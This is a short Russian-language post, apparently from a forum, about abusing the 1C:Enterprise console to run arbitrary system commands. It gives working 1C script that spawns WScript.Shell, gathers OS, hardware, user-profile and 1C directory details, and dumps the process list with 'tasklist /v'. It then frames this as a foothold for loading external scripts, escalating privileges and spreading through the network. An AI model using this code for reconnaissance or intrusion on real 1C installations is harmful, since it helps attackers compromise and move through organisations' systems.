В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".



Например:



СисИнфо = Новый СистемнаяИнформация;

Shell = Новый COMОбъект("WScript.Shell");

UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%");

Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);

Сообщить("Каталог 1с: " + КаталогПрограммы());

Сообщить("Пользователь: "+UserDir);

Тасклист=Shell.Exec("tasklist /v");

Сообщить(Тасклист.StdOut.ReadAll());




Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.